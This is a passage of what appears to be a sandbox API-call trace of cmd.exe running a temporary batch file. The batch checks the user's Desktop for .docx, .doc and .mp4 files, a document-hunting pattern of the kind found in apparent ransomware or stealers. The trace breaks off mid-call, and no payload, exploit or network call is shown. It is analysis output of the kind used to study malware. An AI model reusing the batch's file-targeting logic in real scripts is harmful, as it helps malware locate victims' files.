returned 1 [0039.145] SetFilePointer (in: hFile=0x74, lDistanceToMove=2057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0039.145] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\n") returned 27 [0039.145] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.145] GetFileType (hFile=0x74) returned 0x1 [0039.145] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.145] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0039.145] GetProcessHeap () returned 0x4e0000 [0039.145] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.145] GetProcessHeap () returned 0x4e0000 [0039.145] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.145] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.145] GetProcessHeap () returned 0x4e0000 [0039.145] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.145] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.145] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.145] GetProcessHeap () returned 0x4e0000 [0039.145] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.145] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.146] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.146] GetProcessHeap () returned 0x4e0000 [0039.146] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.146] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.146] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.146] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f58c0 [0039.146] GetProcessHeap () returned 0x4e0000 [0039.146] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f6080 [0039.146] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6080, Size=0x18) returned 0x4f58e0 [0039.146] GetProcessHeap () returned 0x4e0000 [0039.146] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x18 [0039.146] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.146] GetProcessHeap () returned 0x4e0000 [0039.146] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.146] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f5920 [0039.147] _tell (_FileHandle=3) returned 2057 [0039.147] _close (_FileHandle=3) returned 0 [0039.147] GetFullPathNameW (in: lpFileName="*.docx", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", lpFilePart=0x41eea8*="*.docx") returned 0x2c [0039.147] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.147] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.148] GetLastError () returned 0x2 [0039.148] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.148] GetLastError () returned 0x6 [0039.148] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.148] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.148] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.148] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.148] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.149] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.149] SetConsoleInputExeNameW () returned 0x1 [0039.149] GetConsoleOutputCP () returned 0x1b5 [0039.149] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.149] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.162] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.162] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.162] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.162] SetFilePointer (in: hFile=0x74, lDistanceToMove=2057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0039.162] GetProcessHeap () returned 0x4e0000 [0039.162] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.162] GetProcessHeap () returned 0x4e0000 [0039.163] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.163] GetProcessHeap () returned 0x4e0000 [0039.163] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.163] GetProcessHeap () returned 0x4e0000 [0039.163] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.163] GetProcessHeap () returned 0x4e0000 [0039.163] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.163] GetProcessHeap () returned 0x4e0000 [0039.163] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.163] GetProcessHeap () returned 0x4e0000 [0039.163] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.163] GetProcessHeap () returned 0x4e0000 [0039.163] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.163] GetProcessHeap () returned 0x4e0000 [0039.163] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.163] GetProcessHeap () returned 0x4e0000 [0039.163] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.163] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.163] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x809 [0039.163] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e24, lpOverlapped=0x0) returned 1 [0039.164] SetFilePointer (in: hFile=0x74, lDistanceToMove=2059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0039.164] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n") returned 2 [0039.164] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.164] GetFileType (hFile=0x74) returned 0x1 [0039.164] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.164] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0039.164] GetProcessHeap () returned 0x4e0000 [0039.164] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.164] GetProcessHeap () returned 0x4e0000 [0039.164] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.164] _tell (_FileHandle=3) returned 2059 [0039.164] _close (_FileHandle=3) returned 0 [0039.164] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.164] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.165] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.165] SetFilePointer (in: hFile=0x74, lDistanceToMove=2059, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0039.165] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.165] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x80b [0039.165] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e22, lpOverlapped=0x0) returned 1 [0039.165] SetFilePointer (in: hFile=0x74, lDistanceToMove=2084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0039.165] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n") returned 25 [0039.165] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.165] GetFileType (hFile=0x74) returned 0x1 [0039.165] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.165] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0039.165] GetProcessHeap () returned 0x4e0000 [0039.165] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.165] GetProcessHeap () returned 0x4e0000 [0039.165] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.165] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.165] GetProcessHeap () returned 0x4e0000 [0039.166] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.166] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.166] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.166] GetProcessHeap () returned 0x4e0000 [0039.166] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.166] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.166] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.166] GetProcessHeap () returned 0x4e0000 [0039.166] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.166] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.166] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.166] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.166] GetProcessHeap () returned 0x4e0000 [0039.166] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.166] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.166] GetProcessHeap () returned 0x4e0000 [0039.166] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.166] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.166] GetProcessHeap () returned 0x4e0000 [0039.166] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.167] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.167] _tell (_FileHandle=3) returned 2084 [0039.167] _close (_FileHandle=3) returned 0 [0039.168] GetFullPathNameW (in: lpFileName="*.doc", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", lpFilePart=0x41eea8*="*.doc") returned 0x2b [0039.168] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.168] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.168] GetLastError () returned 0x2 [0039.168] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.168] GetLastError () returned 0x6 [0039.168] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.168] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.168] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.169] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.169] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.169] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.169] SetConsoleInputExeNameW () returned 0x1 [0039.169] GetConsoleOutputCP () returned 0x1b5 [0039.169] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.169] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.170] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.170] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.170] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.170] SetFilePointer (in: hFile=0x74, lDistanceToMove=2084, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0039.170] GetProcessHeap () returned 0x4e0000 [0039.170] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.170] GetProcessHeap () returned 0x4e0000 [0039.170] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.170] GetProcessHeap () returned 0x4e0000 [0039.170] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.170] GetProcessHeap () returned 0x4e0000 [0039.170] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.170] GetProcessHeap () returned 0x4e0000 [0039.170] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.170] GetProcessHeap () returned 0x4e0000 [0039.170] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.170] GetProcessHeap () returned 0x4e0000 [0039.170] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.170] GetProcessHeap () returned 0x4e0000 [0039.170] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.170] GetProcessHeap () returned 0x4e0000 [0039.170] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.170] GetProcessHeap () returned 0x4e0000 [0039.171] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.171] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.171] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x824 [0039.171] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e09, lpOverlapped=0x0) returned 1 [0039.171] SetFilePointer (in: hFile=0x74, lDistanceToMove=2086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0039.171] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n\r\n") returned 2 [0039.171] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.171] GetFileType (hFile=0x74) returned 0x1 [0039.171] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.171] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0039.171] GetProcessHeap () returned 0x4e0000 [0039.171] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.171] GetProcessHeap () returned 0x4e0000 [0039.171] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.171] _tell (_FileHandle=3) returned 2086 [0039.171] _close (_FileHandle=3) returned 0 [0039.172] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.172] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.172] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.172] SetFilePointer (in: hFile=0x74, lDistanceToMove=2086, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0039.172] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.172] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x826 [0039.172] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e07, lpOverlapped=0x0) returned 1 [0039.172] SetFilePointer (in: hFile=0x74, lDistanceToMove=2111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0039.172] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n\r\n") returned 25 [0039.172] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.172] GetFileType (hFile=0x74) returned 0x1 [0039.173] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.173] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0039.173] GetProcessHeap () returned 0x4e0000 [0039.173] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.173] GetProcessHeap () returned 0x4e0000 [0039.173] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.173] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.173] GetProcessHeap () returned 0x4e0000 [0039.173] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.173] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.173] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.173] GetProcessHeap () returned 0x4e0000 [0039.173] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.173] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.173] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.173] GetProcessHeap () returned 0x4e0000 [0039.173] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.173] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.173] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.173] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.173] GetProcessHeap () returned 0x4e0000 [0039.174] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.174] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.174] GetProcessHeap () returned 0x4e0000 [0039.174] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.174] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.174] GetProcessHeap () returned 0x4e0000 [0039.174] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.174] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.175] _tell (_FileHandle=3) returned 2111 [0039.175] _close (_FileHandle=3) returned 0 [0039.175] GetFullPathNameW (in: lpFileName="*.mp4", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", lpFilePart=0x41eea8*="*.mp4") returned 0x2b [0039.175] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.175] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.mp4", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.175] GetLastError () returned 0x2 [0039.175] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.176] GetLastError () returned 0x6 [0039.176] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.176] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.176] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.176] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.176] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.176] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.177] SetConsoleInputExeNameW () returned 0x1 [0039.177] GetConsoleOutputCP () returned 0x1b5 [0039.177] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.177] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.177] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.177] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.177] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.190] SetFilePointer (in: hFile=0x74, lDistanceToMove=2111, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0039.190] GetProcessHeap () returned 0x4e0000 [0039.190] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.190] GetProcessHeap () returned 0x4e0000 [0039.190] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.190] GetProcessHeap () returned 0x4e0000 [0039.190] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.191] GetProcessHeap () returned 0x4e0000 [0039.191] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.191] GetProcessHeap () returned 0x4e0000 [0039.191] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.191] GetProcessHeap () returned 0x4e0000 [0039.191] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.191] GetProcessHeap () returned 0x4e0000 [0039.191] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.191] GetProcessHeap () returned 0x4e0000 [0039.191] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.191] GetProcessHeap () returned 0x4e0000 [0039.191] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.191] GetProcessHeap () returned 0x4e0000 [0039.191] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.218] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.218] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x83f [0039.218] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, 